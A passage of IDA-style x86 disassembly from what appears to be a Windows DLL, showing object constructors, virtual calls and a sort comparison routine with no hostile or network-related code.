mov eax, [ecx]
push 0
call dword ptr [eax]
mov byte ptr [esi+3Ch], 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B6B6EB: ; CODE XREF: sub_69B6B6CC+8j
; sub_69B6B6CC+Ej
xor eax, eax
pop esi
retn
sub_69B6B6CC endp
; =============== S U B R O U T I N E =======================================
sub_69B6B6EF proc near ; DATA XREF: .text:69B13C24o
mov byte ptr [ecx+2Ch], 0
jmp sub_69B6CCB6
sub_69B6B6EF endp
; =============== S U B R O U T I N E =======================================
sub_69B6B6F8 proc near ; DATA XREF: .text:69B13C28o
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte ptr [ecx+2Ch], 0
push 0
push [esp+8+arg_0]
call sub_69B6CD21
retn 0Ch
sub_69B6B6F8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B70E proc near ; DATA XREF: .text:69B13C60o
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
jz sub_69B6CD55
mov byte ptr [ecx+2Ch], 0
jmp sub_69B6CD55
sub_69B6B70E endp
; =============== S U B R O U T I N E =======================================
sub_69B6B722 proc near ; DATA XREF: .text:69B13CC4o
cmp dword ptr [ecx+30h], 0FFFFFFFFh
mov eax, 30Dh
jnz short locret_69B6B730
add eax, 2
locret_69B6B730: ; CODE XREF: sub_69B6B722+9j
retn
sub_69B6B722 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B731 proc near ; DATA XREF: .text:69B13D20o
arg_0 = dword ptr 4
mov eax, ecx
cmp dword ptr [eax+18h], 0
jz short loc_69B6B751
push dword ptr [eax+38h]
mov ecx, [eax+18h]
mov edx, [ecx]
push 0
call dword ptr [edx+4]
test eax, eax
jz short loc_69B6B751
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+60h]
; ---------------------------------------------------------------------------
loc_69B6B751: ; CODE XREF: sub_69B6B731+6j
; sub_69B6B731+17j
mov eax, [esp+arg_0]
retn 4
sub_69B6B731 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B758 proc near ; DATA XREF: .text:69B13C5Co
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ecx, [esi+28h]
mov [eax+38h], ecx
add eax, 10h
pop esi
retn 4
sub_69B6B758 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B778 proc near ; DATA XREF: .text:69B13D24o
arg_4 = dword ptr 8
mov edx, dword_69B9B308
mov ecx, [esp+arg_4]
mov eax, [ecx]
push offset off_69B6B798
push dword ptr [edx+8]
call dword ptr [eax+0ACh]
retn 8
sub_69B6B778 endp
; ---------------------------------------------------------------------------
align 4
off_69B6B798 dd offset off_69B17D10 ; DATA XREF: sub_69B6B778+Co
align 10h
dd 7
dd offset aCurrent_0 ; "current"
aCurrent_0: ; DATA XREF: .text:69B6B7A4o
unicode 0, <current>,0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6B83C
loc_69B6B7B8: ; CODE XREF: sub_69B6B83C+Dj
push esi
push [esp+4+arg_4]
mov esi, ecx
push 0
push 0
call sub_69B6D314
mov eax, [esp+4+arg_0]
test eax, eax
mov dword ptr [esi], offset off_69B13CD8
mov dword ptr [esi+8], offset off_69B13C78
mov dword ptr [esi+10h], offset off_69B13BE0
jl short loc_69B6B7E5
inc eax
loc_69B6B7E5: ; CODE XREF: sub_69B6B83C-5Aj
mov [esi+38h], eax
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B6B83C
; =============== S U B R O U T I N E =======================================
sub_69B6B7EE proc near ; DATA XREF: .text:69B13C94o
sub ecx, 8
jmp sub_69B6B5A7
sub_69B6B7EE endp
; ---------------------------------------------------------------------------
loc_69B6B7F6: ; DATA XREF: .text:69B13BFCo
sub ecx, 10h
jmp sub_69B6B5A7
; =============== S U B R O U T I N E =======================================
sub_69B6B7FE proc near ; CODE XREF: .text:69B6B833p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
mov dword ptr [esi], offset off_69B13CD8
mov dword ptr [esi+8], offset off_69B13C78
mov dword ptr [esi+10h], offset off_69B13BE0
mov eax, esi
pop esi
retn 4
sub_69B6B7FE endp
; ---------------------------------------------------------------------------
loc_69B6B824: ; DATA XREF: .text:69B6B5B4o
push 40h
call sub_69B17EF3
test eax, eax
jz short loc_69B6B839
push 0
mov ecx, eax
call sub_69B6B7FE
retn
; ---------------------------------------------------------------------------
loc_69B6B839: ; CODE XREF: .text:69B6B82Dj
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
sub_69B6B83C proc near ; CODE XREF: sub_69B62CE7+20p
; sub_69B633C4+A9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B6B7B8 SIZE 00000036 BYTES
push 40h
call sub_69B17EF3
test eax, eax
jz short loc_69B6B84E
mov ecx, eax
jmp loc_69B6B7B8
; ---------------------------------------------------------------------------
loc_69B6B84E: ; CODE XREF: sub_69B6B83C+9j
xor eax, eax
retn 8
sub_69B6B83C endp
; =============== S U B R O U T I N E =======================================
sub_69B6B853 proc near ; CODE XREF: sub_69B6BCAF+3j
; .text:69B6BCC2j
; DATA XREF: ...
mov eax, offset off_69B6B85C
retn
sub_69B6B853 endp
; ---------------------------------------------------------------------------
align 4
off_69B6B85C dd offset off_69B29C7C ; DATA XREF: sub_69B6B853o
dd offset sub_69B6C105
; =============== S U B R O U T I N E =======================================
sub_69B6B864 proc near ; CODE XREF: .text:69B6B8C1p
; .text:69B6B8E8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [ecx]
test eax, eax
jnz short loc_69B6B881
mov ecx, [esp+arg_4]
mov eax, [ecx]
test eax, eax
jg short loc_69B6B886
cmp eax, 0FFFFFFFFh
jl short loc_69B6B883
mov al, 1
jmp short locret_69B6B888
; ---------------------------------------------------------------------------
loc_69B6B881: ; CODE XREF: sub_69B6B864+8j
jge short loc_69B6B886
loc_69B6B883: ; CODE XREF: sub_69B6B864+17j
inc eax
mov [ecx], eax
loc_69B6B886: ; CODE XREF: sub_69B6B864+12j
; sub_69B6B864:loc_69B6B881j
xor al, al
locret_69B6B888: ; CODE XREF: sub_69B6B864+1Bj
retn 8
sub_69B6B864 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B88B proc near ; CODE XREF: sub_69B6BA3F+55p
; sub_69B6BAF2+60p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
push edi
mov edi, ecx
jl short loc_69B6B89C
cmp esi, [edi+8]
jl short loc_69B6B8A1
loc_69B6B89C: ; CODE XREF: sub_69B6B88B+Aj
call sub_69B2E6D8
loc_69B6B8A1: ; CODE XREF: sub_69B6B88B+Fj
imul esi, 1Ch
lea eax, [esi+edi+0Ch]
pop edi
pop esi
retn 4
sub_69B6B88B endp
; =============== S U B R O U T I N E =======================================
sub_69B6B8AD proc near ; DATA XREF: .text:69B6BFE8o
mov ecx, [ecx+4]
mov eax, [ecx]
jmp dword ptr [eax+8]
sub_69B6B8AD endp
; ---------------------------------------------------------------------------
loc_69B6B8B5: ; DATA XREF: .text:off_69B6BFE0o
lea eax, [esp+8]
push eax
lea eax, [esp+8]
push eax
mov edx, ecx
call sub_69B6B864
test al, al
jz short loc_69B6B8D5
mov ecx, [edx+8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
retn 8
; ---------------------------------------------------------------------------
loc_69B6B8D5: ; CODE XREF: .text:69B6B8C8j
mov ecx, [edx+4]
mov eax, [ecx]
jmp dword ptr [eax]
; ---------------------------------------------------------------------------
loc_69B6B8DC: ; DATA XREF: .text:69B6BFE4o
lea eax, [esp+8]
push eax
lea eax, [esp+8]
push eax
mov edx, ecx
call sub_69B6B864
test al, al
jz short loc_69B6B8F7
mov eax, [edx+8]
retn 8
; ---------------------------------------------------------------------------
loc_69B6B8F7: ; CODE XREF: .text:69B6B8EFj
mov ecx, [edx+4]
mov eax, [ecx]
jmp dword ptr [eax+4]
; =============== S U B R O U T I N E =======================================
sub_69B6B8FF proc near ; DATA XREF: .text:69B13E00o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
mov al, [esi+3Eh]
push [esp+8+arg_0]
and al, 3
cmp al, 2
jnz short loc_69B6B92C
mov eax, [esi+28h]
lea ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+88h]
mov ecx, [esi+1Ch]
inc ecx
cmp ecx, eax
sbb eax, eax
inc eax
jmp short loc_69B6B933
; ---------------------------------------------------------------------------
loc_69B6B92C: ; CODE XREF: sub_69B6B8FF+12j
mov ecx, esi
call sub_69B6CDE6
loc_69B6B933: ; CODE XREF: sub_69B6B8FF+2Bj
pop esi
retn 8
sub_69B6B8FF endp
; =============== S U B R O U T I N E =======================================
sub_69B6B937 proc near ; DATA XREF: .text:69B13E30o
mov eax, [ecx+28h]
lea ecx, [eax+10h]
mov eax, [ecx]
jmp dword ptr [eax+88h]
sub_69B6B937 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B945 proc near ; CODE XREF: sub_69B6BAF2+47p
; sub_69B6BBBC+67p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
push 10h
call sub_69B6E397
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B6B96B
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B13D28
jmp short loc_69B6B96D
; ---------------------------------------------------------------------------
loc_69B6B96B: ; CODE XREF: sub_69B6B945+15j
xor esi, esi
loc_69B6B96D: ; CODE XREF: sub_69B6B945+24j
push 0
push edi
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
retn 4
sub_69B6B945 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B983 proc near ; CODE XREF: sub_69B6BCC7+3j
; sub_69B6BCCF+3j
; DATA XREF: ...
push esi
mov esi, ecx
push 0
lea eax, [esi+44h]
push eax
call sub_69B17320
push 0
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
push 0
lea eax, [esi+38h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B6B983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6B9BA proc near ; DATA XREF: .text:69B13DF0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
and byte ptr [esi+3Eh], 0FCh
xor ebx, ebx
push ebx
lea eax, [esi+34h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
mov [esi+38h], ebx
push [ebp+arg_0]
mov [esi+3Dh], bl
call sub_69B6CD21
mov eax, [esi+28h]
lea ecx, [eax+10h]
mov eax, [ecx]
push ebx
call dword ptr [eax+8Ch]
push [ebp+arg_8]
mov eax, [esi+28h]
push [ebp+arg_4]
lea ecx, [eax+10h]
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+48h]
mov eax, [esi+28h]
push dword ptr [esi+4]
lea ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+8Ch]
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B6B9BA endp
; =============== S U B R O U T I N E =======================================
sub_69B6BA2B proc near ; DATA XREF: .text:69B13E08o
mov eax, [ecx+1Ch]
mov ecx, [ecx+28h]
mov ecx, [ecx+3Ch]
push eax
call sub_69B1A954
mov eax, [eax]
retn 4
sub_69B6BA2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6BA3F proc near ; DATA XREF: sub_69B6BCF3+2ADo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov edx, [ebp+arg_4]
mov edx, [edx]
push ebx
push esi
mov esi, [ebp+arg_0]
mov ecx, [esi+4Ch]
mov eax, [esi+40h]
push edi
mov edi, 0FFh
and ecx, edi
imul edx, ecx
and [ebp+var_8], 0
shl edx, 4
lea ebx, [edx+eax+0Ch]
mov edx, [ebp+arg_8]
mov edx, [edx]
imul edx, ecx
shl edx, 4
test ecx, ecx
lea eax, [edx+eax+0Ch]
mov [ebp+var_4], eax
jnz short loc_69B6BA85
xor eax, eax
jmp short loc_69B6BAED
; ---------------------------------------------------------------------------
loc_69B6BA85: ; CODE XREF: sub_69B6BA3F+40j
and [ebp+arg_0], 0
test [esi+4Ch], edi
jbe short loc_69B6BACA
loc_69B6BA8E: ; CODE XREF: sub_69B6BA3F+89j
push [ebp+arg_0]
mov ecx, [esi+3Ch]
call sub_69B6B88B
push dword ptr [esi+0Ch]
mov [ebp+var_C], eax
lea eax, [ebp+var_8]
push eax
push [ebp+var_4]
mov ecx, ebx
push 20h
call sub_69B642AB
mov eax, [ebp+var_8]
test eax, eax
jnz short loc_69B6BAE2
mov eax, [esi+4Ch]
inc [ebp+arg_0]
add [ebp+var_4], 10h
and eax, edi
add ebx, 10h
cmp [ebp+arg_0], eax
jb short loc_69B6BA8E
loc_69B6BACA: ; CODE XREF: sub_69B6BA3F+4Dj
mov eax, [ebp+arg_4]
mov eax, [eax]
mov edx, [ebp+arg_8]
xor ecx, ecx
cmp eax, [edx]
setnl cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
mov [ebp+var_8], eax
loc_69B6BAE2: ; CODE XREF: sub_69B6BA3F+75j
mov ecx, [ebp+var_C]
cmp byte ptr [ecx+14h], 0
jz short loc_69B6BAED
neg eax
loc_69B6BAED: ; CODE XREF: sub_69B6BA3F+44j
; sub_69B6BA3F+AAj
pop edi
pop esi
pop ebx
leave
retn
sub_69B6BA3F endp
; =============== S U B R O U T I N E =======================================
sub_69B6BAF2 proc near ; CODE XREF: sub_69B6BCD7+Ap
; sub_69B6BFF8+2Ep ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+3Ch]
cmp dword ptr [edi], 0
jnz short loc_69B6BB23
push 48h
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov dword ptr [ebx+8], 2
call sub_69B19118
push ebx
push edi
mov dword ptr [ebx], offset off_69B13D28
call sub_69B17320
loc_69B6BB23: ; CODE XREF: sub_69B6BAF2+Bj
mov ecx, [edi]
mov edx, [esi+4Ch]
mov eax, [ecx+8]
mov ebx, 0FFh
and edx, ebx
cmp edx, eax
jl short loc_69B6BB45
add eax, eax
push eax
call sub_69B6B945
push eax
push edi
call sub_69B17320
loc_69B6BB45: ; CODE XREF: sub_69B6BAF2+42j
mov eax, [esi+4Ch]
mov edi, [edi]
and eax, ebx
inc byte ptr [esi+4Ch]
push eax
mov ecx, edi
call sub_69B6B88B
mov esi, [esp+0Ch+arg_0]
mov ecx, [esi+0Ch]
test ecx, ecx
mov edi, eax
jz short loc_69B6BB6E
mov eax, [ecx]
push 5
call dword ptr [eax+40h]
mov [esi+0Ch], eax
loc_69B6BB6E: ; CODE XREF: sub_69B6BAF2+70j
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B6BB7F
mov eax, [ecx]
push 5
call dword ptr [eax+40h]
mov [esi+10h], eax
loc_69B6BB7F: ; CODE XREF: sub_69B6BAF2+81j
push dword ptr [esi]
push edi
call sub_69B17320
mov al, [esi+4]
mov [edi+4], al
push dword ptr [esi+0Ch]
lea eax, [edi+0Ch]
push eax
call sub_69B17320
push dword ptr [esi+10h]
lea eax, [edi+10h]
push eax
call sub_69B17320
mov esi, [esi+8]
mov eax, esi
sub eax, 6
neg eax
sbb eax, eax
and eax, esi
mov [edi+8], eax
pop edi
pop esi
pop ebx
retn 4
sub_69B6BAF2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6BBBC proc near ; DATA XREF: .text:69B13E24o
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov edi, eax
mov eax, [esi+28h]
lea ecx, [eax+10h]
mov eax, [ecx]
push 0
call dword ptr [eax+8Ch]
mov eax, [esi+28h]
push [esp+8+arg_0]
lea ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+7Ch]
mov ecx, eax
add eax, 0FFFFFFF0h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
lea eax, [edi+38h]
push eax
call sub_69B17320
mov eax, [esi+28h]
push dword ptr [esi+4]
lea ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+8Ch]
mov al, [esi+3Ch]
mov [edi+4Ch], al
mov ecx, [esi+2Ch]
push dword ptr [ecx+8]
call sub_69B6B945
push eax
lea eax, [edi+3Ch]
push eax
call sub_69B17320
lea eax, [esi+34h]
push eax
lea ecx, [edi+44h]
call sub_69B4D414
mov eax, [edi+4Ch]
xor eax, [esi+3Ch]
and eax, 30000h
xor [edi+4Ch], eax
lea eax, [edi+10h]
pop edi
pop esi
retn 4
sub_69B6BBBC endp
; =============== S U B R O U T I N E =======================================
sub_69B6BC54 proc near ; CODE XREF: sub_69B6C11D+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
push [esp+0Ch+arg_4]
xor ebx, ebx
push ebx
push [esp+14h+arg_0]
mov esi, ecx
call sub_69B6D314
push [esp+0Ch+arg_4]
mov dword ptr [esi], offset off_69B13EA0
push [esp+10h+arg_0]
mov dword ptr [esi+8], offset off_69B13E40
mov dword ptr [esi+10h], offset off_69B13DA8
lea edi, [esi+38h]
mov [edi], ebx
mov [esi+3Ch], ebx
mov [esi+40h], ebx
mov [esi+44h], ebx
call sub_69B664E8
push eax
push edi
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B6BC54 endp
; =============== S U B R O U T I N E =======================================
sub_69B6BCA7 proc near ; DATA XREF: .text:69B13E4Co
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B6C0BB
sub_69B6BCA7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6BCAF proc near ; DATA XREF: .text:69B13E5Co
sub ecx, 8
jmp sub_69B6B853
sub_69B6BCAF endp
; ---------------------------------------------------------------------------
loc_69B6BCB7: ; DATA XREF: .text:69B13DB4o
sub ecx, 10h
jmp sub_69B6C0BB
; ---------------------------------------------------------------------------
loc_69B6BCBF: ; DATA XREF: .text:69B13DC4o
sub ecx, 10h
jmp sub_69B6B853
; =============== S U B R O U T I N E =======================================
sub_69B6BCC7 proc near ; DATA XREF: .text:69B13E74o
sub ecx, 8
jmp sub_69B6B983
sub_69B6BCC7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6BCCF proc near ; DATA XREF: .text:69B13DDCo
sub ecx, 10h
jmp sub_69B6B983
sub_69B6BCCF endp
; =============== S U B R O U T I N E =======================================
sub_69B6BCD7 proc near ; DATA XREF: .text:69B13E20o
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B6BAF2
lea eax, [esi-10h]
neg eax
sbb eax, eax
and eax, esi
pop esi
retn 4
sub_69B6BCD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6BCF3 proc near ; CODE XREF: sub_69B6C134+Cp
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
test byte ptr [esi+4Eh], 3
mov [ebp+var_2C], edi
mov [ebp+var_28], 0
jnz loc_69B6BDE7
mov ecx, [esi+18h]
cmp ecx, edi
mov [ebp+var_8], edi
jz short loc_69B6BD26
mov eax, [ecx]
push 0FFFFFFFFh
push edi
call dword ptr [eax+4]
mov [ebp+var_8], eax
loc_69B6BD26: ; CODE XREF: sub_69B6BCF3+26j
test dword ptr [esi+4Ch], 0FFh
mov [ebp+var_4], edi
jbe loc_69B6BDD7
loc_69B6BD36: ; CODE XREF: sub_69B6BCF3+DEj
push [ebp+var_4]
mov ecx, [esi+3Ch]
call sub_69B6B88B
mov ebx, eax
mov edi, [ebx+0Ch]
test edi, edi
mov [ebp+var_C], ebx
jz short loc_69B6BD7E
mov ebx, [edi]
lea eax, [ebp+var_2C]
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
push eax
push [ebp+var_8]
mov ecx, edi
push dword ptr [esi+18h]
call dword ptr [ebx+54h]
mov eax, [ebp+var_24]
cmp dword ptr [eax+8], 0
jz short loc_69B6BD77
push eax
call sub_69B6FF03
jmp short loc_69B6BD79
; ---------------------------------------------------------------------------
loc_69B6BD77: ; CODE XREF: sub_69B6BCF3+7Aj
xor al, al
loc_69B6BD79: ; CODE XREF: sub_69B6BCF3+82j
mov ebx, [ebp+var_C]
jmp short loc_69B6BD81
; ---------------------------------------------------------------------------
loc_69B6BD7E: ; CODE XREF: sub_69B6BCF3+58j
mov al, [ebx+4]
loc_69B6BD81: ; CODE XREF: sub_69B6BCF3+89j
mov [ebx+14h], al
mov eax, [ebx+10h]
test eax, eax
mov [ebp+var_C], eax
jz short loc_69B6BDBD
mov edi, [eax]
lea eax, [ebp+var_2C]
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [ebp+var_C]
push eax
push [ebp+var_8]
push dword ptr [esi+18h]
call dword ptr [edi+54h]
mov eax, [ebp+var_24]
cmp dword ptr [eax+8], 0
jz short loc_69B6BDB9
push eax
call sub_69B6FFC1
jmp short loc_69B6BDC0
; ---------------------------------------------------------------------------
loc_69B6BDB9: ; CODE XREF: sub_69B6BCF3+BCj
xor eax, eax
jmp short loc_69B6BDC0
; ---------------------------------------------------------------------------
loc_69B6BDBD: ; CODE XREF: sub_69B6BCF3+99j
mov eax, [ebx+8]
loc_69B6BDC0: ; CODE XREF: sub_69B6BCF3+C4j
; sub_69B6BCF3+C8j
inc [ebp+var_4]
mov [ebx+18h], eax
mov eax, [esi+4Ch]
and eax, 0FFh
cmp [ebp+var_4], eax
jb loc_69B6BD36
loc_69B6BDD7: ; CODE XREF: sub_69B6BCF3+3Dj
mov eax, [esi+4Ch]
and eax, 0FFFDFFFFh
or eax, 10000h
mov [esi+4Ch], eax
loc_69B6BDE7: ; CODE XREF: sub_69B6BCF3+18j
mov al, [esi+4Eh]
and al, 3
cmp al, 1
jnz loc_69B6BFC2
mov ecx, [esi+18h]
mov eax, [esi+38h]
mov [ebp+var_18], ecx
lea ecx, [eax+10h]
neg eax
sbb eax, eax
and eax, ecx
mov [ebp+var_1C], offset off_69B6BFE0
mov [ebp+var_14], eax
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov [ebp+var_4], eax
mov eax, [esi+38h]
push [ebp+var_4]
lea ecx, [eax+10h]
push dword ptr [esi+18h]
mov eax, [ecx]
call dword ptr [eax+88h]
cmp [ebp+var_4], 0
mov [ebp+var_8], eax
jz loc_69B6BF59
loc_69B6BE39: ; CODE XREF: sub_69B6BCF3+260j
lea ebx, [esi+40h]
cmp dword ptr [ebx], 0
jnz loc_69B6BF20
mov eax, [esi+4Ch]
and eax, 0FFh
imul eax, [ebp+var_8]
push eax
push 10h
call sub_69B11CFE
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz short loc_69B6BE70
mov ecx, edi
call sub_69B19118
mov dword ptr [edi], offset off_69B13908
jmp short loc_69B6BE72
; ---------------------------------------------------------------------------
loc_69B6BE70: ; CODE XREF: sub_69B6BCF3+16Cj
xor edi, edi
loc_69B6BE72: ; CODE XREF: sub_69B6BCF3+17Bj
push edi
push ebx
call sub_69B17320
jmp loc_69B6BF20
; ---------------------------------------------------------------------------
loc_69B6BE7E: ; CODE XREF: sub_69B6BCF3+23Bj
movzx eax, byte ptr [esi+4Dh]
mov ecx, [esi+3Ch]
push eax
call sub_69B6B88B
push dword ptr [esi+48h]
mov ecx, [esi+40h]
mov edi, eax
mov eax, [edi+18h]
mov [ebp+var_10], eax
call sub_69B171A0
mov byte ptr [eax+4], 1
mov ecx, [edi]
mov edx, [ecx]
mov [ebp+var_C], eax
mov eax, [esi+38h]
lea ebx, [ebp+var_2C]
push ebx
push [ebp+var_4]
mov ebx, eax
add eax, 10h
neg ebx
sbb ebx, ebx
and ebx, eax
push ebx
lea eax, [ebp+var_1C]
push eax
call dword ptr [edx+54h]
cmp dword ptr [esi+0Ch], 2
jnz short loc_69B6BF0A
mov ecx, [ebp+var_24]
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov ebx, eax
test ebx, ebx
jz short loc_69B6BF1A
cmp dword ptr [edi+18h], 0
jnz short loc_69B6BEF4
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0E0h]
mov eax, dword_69B9A0E0[eax*4]
mov [edi+18h], eax
loc_69B6BEF4: ; CODE XREF: sub_69B6BCF3+1EBj
push [ebp+var_C]
mov ecx, [edi+18h]
push dword_69B99D00[ecx*4]
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+54h]
jmp short loc_69B6BF1A
; ---------------------------------------------------------------------------
loc_69B6BF0A: ; CODE XREF: sub_69B6BCF3+1D7j
push 1
push [ebp+var_C]
lea ecx, [ebp+var_2C]
push [ebp+var_10]
call sub_69B64008
loc_69B6BF1A: ; CODE XREF: sub_69B6BCF3+1E5j
; sub_69B6BCF3+215j
inc byte ptr [esi+4Dh]
inc dword ptr [esi+48h]
loc_69B6BF20: ; CODE XREF: sub_69B6BCF3+14Cj
; sub_69B6BCF3+186j
mov eax, [esi+4Ch]
movzx ecx, byte ptr [esi+4Dh]
and eax, 0FFh
cmp ecx, eax
jb loc_69B6BE7E
mov ecx, [esi+38h]
add ecx, 10h
mov byte ptr [esi+4Dh], 0
mov eax, [ecx]
call dword ptr [eax+40h]
mov ecx, [esi+38h]
add ecx, 10h
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
mov [ebp+var_4], eax
jnz loc_69B6BE39
loc_69B6BF59: ; CODE XREF: sub_69B6BCF3+140j
mov edi, [ebp+var_8]
inc edi
lea eax, ds:10h[edi*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], edi
call sub_69B19118
push ebx
lea edi, [esi+44h]
push edi
mov dword ptr [ebx], offset off_69B13D68
call sub_69B17320
xor ebx, ebx
loc_69B6BF88: ; CODE XREF: sub_69B6BCF3+2A3j
mov ecx, [edi]
push ebx
call sub_69B1A954
mov [eax], ebx
inc ebx
cmp ebx, [ebp+var_8]
jbe short loc_69B6BF88
cmp byte ptr [esi+4Ch], 0
jz short loc_69B6BFB7
mov eax, [edi]
push offset sub_69B6BA3F
push 4
push [ebp+var_8]
add eax, 0Ch
push eax
push esi
call sub_69B6DBB2
add esp, 14h
loc_69B6BFB7: ; CODE XREF: sub_69B6BCF3+2A9j
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
loc_69B6BFC2: ; CODE XREF: sub_69B6BCF3+FBj
mov eax, [esi+4Ch]
and eax, 0FFFEFFFFh
or eax, 20000h
lea ecx, [ebp+var_2C]
mov [esi+4Ch], eax
call sub_69B466CC
pop edi
pop esi
pop ebx
leave
retn
sub_69B6BCF3 endp
; ---------------------------------------------------------------------------
align 10h
off_69B6BFE0 dd offset loc_69B6B8B5 ; DATA XREF: sub_69B6BCF3+113o
dd offset loc_69B6B8DC
dd offset sub_69B6B8AD
dd offset sub_69B714C3
dd offset sub_69B714CB
dd offset nullsub_7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6BFF8 proc near ; CODE XREF: sub_69B62FFC+55p
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov esi, ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+5Ch]
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_14], eax
mov al, [ebp+arg_4]
mov [ebp+var_10], al
mov eax, [ebp+arg_8]
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
mov ecx, esi
call sub_69B6BAF2
pop esi
leave
retn 0Ch
sub_69B6BFF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C030 proc near ; DATA XREF: .text:69B13D64o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B6C040
retn 8
sub_69B6C030 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C040 proc near ; CODE XREF: sub_69B6C030+8p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push dword ptr [edi]
mov esi, ecx
push esi
call sub_69B17320
mov al, [edi+4]
mov [esi+4], al
mov eax, [edi+8]
mov [esi+8], eax
push dword ptr [edi+0Ch]
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push dword ptr [edi+10h]
lea eax, [esi+10h]
push eax
call sub_69B17320
mov al, [edi+14h]
mov [esi+14h], al
mov eax, [edi+18h]
